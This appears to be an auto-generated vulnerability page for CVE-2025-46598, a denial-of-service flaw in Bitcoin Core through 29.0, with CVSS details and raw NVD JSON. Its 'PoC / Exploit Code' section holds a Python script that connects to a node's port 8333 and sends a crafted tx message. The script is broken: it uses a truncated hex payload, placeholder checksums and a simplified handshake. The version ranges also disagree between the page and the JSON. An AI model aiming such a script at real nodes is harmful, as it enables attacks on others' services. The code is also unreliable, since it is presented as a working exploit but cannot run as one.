Security Vulnerability Report
中文
CVE-2025-46598 CVSS 5.3 MEDIUM

CVE-2025-46598

Published: 2026-03-20 15:16:15
Last Modified: 2026-04-02 12:18:14

Description

Bitcoin Core through 29.0 allows a denial of service via a crafted transaction.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:bitcoin:bitcoin_core:*:*:*:*:*:*:*:* - VULNERABLE
Bitcoin Core <= 29.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct import time def craft_malicious_tx(): """ Generate a crafted transaction payload. Note: This is a placeholder structure to demonstrate the concept. The actual vulnerability requires specific byte patterns. """ # Example malicious structure (version + inputs + outputs + locktime) # This simulates a transaction that triggers the DoS condition. return bytes.fromhex("01000000000100...e80300000000") def send_dos_exploit(target_host, target_port=8333): """ Exploit function to send a crafted transaction to a Bitcoin Core node. """ try: # Establish TCP connection to the Bitcoin P2P port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # 1. Perform Basic Handshake (Version Message) # P2P Message format: Magic (4) + Command (12) + Length (4) + Checksum (4) + Payload magic = b"\xf9\xbe\xb4\xd9" # Mainnet magic bytes command = b"version" + b"\x00" * 6 payload = struct.pack("<i", 70015) # Protocol version payload += struct.pack("<Q", 1) # Services payload += struct.pack("<Q", int(time.time())) # Timestamp payload += (b"\x00" * 26) # AddrRecv / AddrFrom services # ... (handshake simplified) length = struct.pack("<I", len(payload)) checksum = b"\x5d\xf6\xe0\xe2" # Placeholder checksum version_msg = magic + command + length + checksum + payload s.send(version_msg) # Receive Verack (optional step to ensure connection) s.recv(1024) # 2. Send the Crafted Transaction (Payload) tx_payload = craft_malicious_tx() tx_command = b"tx" + b"\x00" * 10 tx_length = struct.pack("<I", len(tx_payload)) tx_checksum = b"\x00\x00\x00\x00" # Placeholder checksum tx_msg = magic + tx_command + tx_length + tx_checksum + tx_payload # Send the exploit payload s.send(tx_msg) print(f"[+] Malicious transaction sent to {target_host}") s.close() return True except Exception as e: print(f"[-] Error during exploit execution: {e}") return False # Example Usage # send_dos_exploit("192.168.1.100")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46598", "sourceIdentifier": "[email protected]", "published": "2026-03-20T15:16:15.147", "lastModified": "2026-04-02T12:18:14.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bitcoin Core through 29.0 allows a denial of service via a crafted transaction."}, {"lang": "es", "value": "Bitcoin Core hasta la versión 29.0 permite una denegación de servicio a través de una transacción manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-405"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bitcoin:bitcoin_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.30.0", "matchCriteriaId": "24777408-C394-47D1-8E69-5630DF67FC26"}]}]}], "references": [{"url": "https://bitcoincore.org/en/2025/10/24/disclose-cve-2025-46598/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/bitcoin/bitcoin/releases", "source": "[email protected]", "tags": ["Release Notes"]}]}}